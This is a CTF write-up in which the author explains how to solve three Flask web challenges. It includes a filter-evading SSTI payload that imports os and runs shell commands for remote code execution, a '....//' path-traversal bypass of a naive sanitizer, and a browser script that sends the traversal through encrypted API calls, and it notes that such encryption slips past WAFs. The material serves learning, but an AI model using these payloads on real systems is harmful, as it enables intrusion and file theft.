Featured image of post P3rf3ctr00t X Ctfzone CTF 2026

P3rf3ctr00t X Ctfzone CTF 2026

These are the writeups of p3rf3ctr00t ctf 2026 web challenges that i created for our collaboration with CTFZONE.

Been a while since a wrote a writeup so apologies for the quality of work :)

As per the number of solves this got ill probably have to create harder challenges next time :)

Secure Storage Prod

Difficulty: EASY

We can begin by registering our user and logging in to the application

From the dashboard we can see that there is no functionality on the webpage , we can also see that the it is a python flask application which is known to be vulnerable to SSTI.

This can be demonstrated by trying to pass a “username” param with classing ssti payload “{{7*7}}” which will result in 49

We can now use an SSTI payload to get Remote Code Execution , you can find one » here

There is also a filter for the username parameter that tries to block some strings in the payload

You can use the payload below to list content of root of fileystem and then read the flag

1
{{request|attr(%27application%27)|attr(%27\x5f\x5fglobals\x5f\x5f%27)|attr(%27\x5f\x5fgetitem\x5f\x5f%27)(%27\x5f\x5fbuiltins\x5f\x5f%27)|attr(%27\x5f\x5fgetitem\x5f\x5f%27)(%27\x5f\x5fimport\x5f\x5f%27)(%27os%27)|attr(%27popen%27)(%27cat%20/flag*%27)|attr(%27read%27)()}}

To read the flag we use “cat flag*” since fullstops are filtered out

Flag: r00t{MDAwMDAyMDkxODAzOTM0MDYzMzZ1dTQ4ODQzNzc5OTc3NDM5NDM5Nzk0Mw}


Secure Storage UAT

Difficulty: EASY

There was an unintended solution to this challenge ill go through both

Unintended

We also have to register and login, after that we can view some files we can view.

Visiting the files endpoint we can see a bunch of files , notes.txt and dev.py look interesting

The notes.txt has a hint about directory discovery

We can find a directory called files , for thi we can use tools such as dirsearch, gobuster or ffuf.

You can exploit the path traversal to go up the file directory to read the flag

1
r00t{5923df1bc0af1sjdkdkkdkjdkjdwdjkdjdojidjs85e7fb2ce7a7}

Intended

Using the dev.py code , we can generate an id for files on the file system , my aim was for players to exploit idor vulnerability. But a vulnerability was accidentally introduced for the solution above thus making this challenge easier :(

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
from functools import wraps
from flask import session, redirect, url_for
import hashlib

_ID_KEY = "CYBERDOCS25"

def generate_id(name: str) -> str:
    raw = f"{_ID_KEY}:{name}"
    return hashlib.md5(raw.encode()).hexdigest()[:12]


def login_required(func):
    @wraps(func)
    def decorated_function(*args, **kwargs):
        if "user_id" not in session:
            return redirect(url_for("web.login"))
        return func(*args, **kwargs)
    return decorated_function

Running this with the file name “Security Audit”(this was to be gotten from challenge description) as a parameter we can get an id to fetch the files from the dashboard

1
2
3
┬─[f0rk3b0mb@ubuntu-ThinkPad-T440s:~/D/p/secure_storage uat]─[15:28:45]─[G:main=]
╰─>$ python3 dev.py "Security Audit"
f79c8345a301

1
r00t{5923df1bc0af1sjdkdkkdkjdkjdwdjkdjdojidjs85e7fb2ce7a7}

Secure Storage Revenge

Difficulty: Medium

This challenge was inspired by a vulnerability i found IRL, i tried to replicate it as best as i can.

For this one we can also register and login , when capturing the requests we can see that there is a weird request to /api/public-key

When fetching our profile we can see that the request and response body are encrypted , there is also an x-encrypted key custom header , we have to go into the js to find out what is happenning

The js is obfuscated we can use this webiste to do deobfuscation » here

Analysing the code we can see a function that loads our profile, a function to dowload files , we can also see the encryption and decryption functionality

At this point you can use AI to create a solution for you, i mean its 2026 :), but if you are a nerd and analysed the code , you can see that the public key was combined with a generated aes key to create a token a that was used to encrypt and decrypt the requests and response .

This is considered security through obscurity which is a common practice in some applications and it is used to mask requests but if you can go around it you can discover some juicy vulnerabilities. Since the requests are encrypted you can able to bypass WAFs with your payload so instead its like an own goal for the developer if the underlying application is vulnerable.

So the POC for this is , we use the download functionality to read the flag.

You can run this in the browser console so that you can utilize the already generated keys from the application itself

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
async function callApi(path, body) {
  const pubKey = await fetch("/api/public-key").then(r => r.json());
  const rawKey = EncryptionService.generateAesKey();
  const b64Key = EncryptionService.generateBase64Key(rawKey);
  const wrappedKey = EncryptionService.encryptWithRSA(b64Key, pubKey.n, pubKey.e);
  const cryptoKey = await EncryptionService.importAesKey(rawKey);
  const packedBody = await EncryptionService.encryptData(JSON.stringify(body), cryptoKey);
  const resp = await fetch(path, {
    method: "POST",
    headers: { "Content-Type": "text/plain", "X-Encrypted-Key": wrappedKey },
    body: packedBody,
  });
  const { payload } = await resp.json();
  return JSON.parse(await EncryptionService.decryptData(payload, cryptoKey));
}


// Traversal: forge the bypass payload as the encrypted `file` value
const flag = await callApi("/api/download", { file: "....//....//flag.txt" });
console.log(atob(flag.content));

There was a sanitize funtion for the file name that stripped “../” from the payload hence this directory bypass is required.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
# ---------------------------------------------------------------------------
# Filename sanitizer used by /api/download
#
# "....//" survives a single replace("../", "") pass and
# collapses back into "../" (replace() removes the match at index 2-4,
# leaving the outer characters joined into a fresh "../").
# ---------------------------------------------------------------------------

def sanitize(filename):
    return filename.replace("../", "").replace("..\\", "")

1
r00t{3d7f879aaccef81bc3cac8731fea6db8}
Licensed under CC BY-NC-SA 4.0
Built with Hugo
Theme Stack designed by Jimmy